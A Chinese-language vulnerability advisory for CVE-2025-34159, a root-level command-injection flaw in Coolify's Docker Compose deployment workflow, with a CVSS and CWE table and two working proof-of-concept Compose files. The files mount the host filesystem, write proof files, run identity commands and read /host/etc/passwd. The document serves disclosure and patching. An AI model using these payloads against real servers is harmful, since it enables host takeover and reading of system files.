| 字段 | 值 |
|---|---|
| CVE 标识符 | CVE-2025-34159 |
| 影响范围 | Coolify ≤ v4.0.0-beta.420.6 |
| 修复版本 | v4.0.0-beta.420.7 |
| 严重性 | 严重 |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-78(操作系统命令注入)、CWE-20(输入验证不恰当) |
Coolify 的应用部署工作流中存在一个严重的远程代码执行(RCE)漏洞。该漏洞允许低权限成员在创建或更新项目时注入任意的 Docker Compose 指令。通过定义挂载主机文件系统的恶意服务,攻击者可在主机操作系统上实现以 root 权限执行命令,从而完全绕过容器隔离。
该漏洞存在于项目部署工作流中,用户提供的 Docker Compose 配置在缺乏充分验证或沙箱隔离的情况下被处理。
version: '3.8'
services:
poc-host-root:
image: alpine:3.19
tty: true
volumes:
- /:/host:rw
command: >
sh -c "
echo '[*] Proof of RCE on host' &&
echo 'RCE by Eyodav' > /host/tmp/proof_rce.txt &&
whoami &&
id &&
uname -a &&
head -n 5 /host/etc/passwd
"
结果: 部署后,/tmp/proof_rce.txt 出现在主机系统上,确认以 root 权限实现了 RCE。
version: '3.8'
services:
poc-host-write:
image: alpine:3.19
tty: true
volumes:
- /home/eyodav/PoC:/host
command: >
sh -c "
set -e;
mkdir -p /host &&
echo '[*] Writing PoC file to host mount...' &&
echo RCE_PoC_from_container_$(date) > /host/RCE_PoC.txt &&
cd /host &&
pwd &&
ls -la
"
/tmp/proof_rce.txt)或查看部署日志中的命令输出,验证漏洞利用是否成功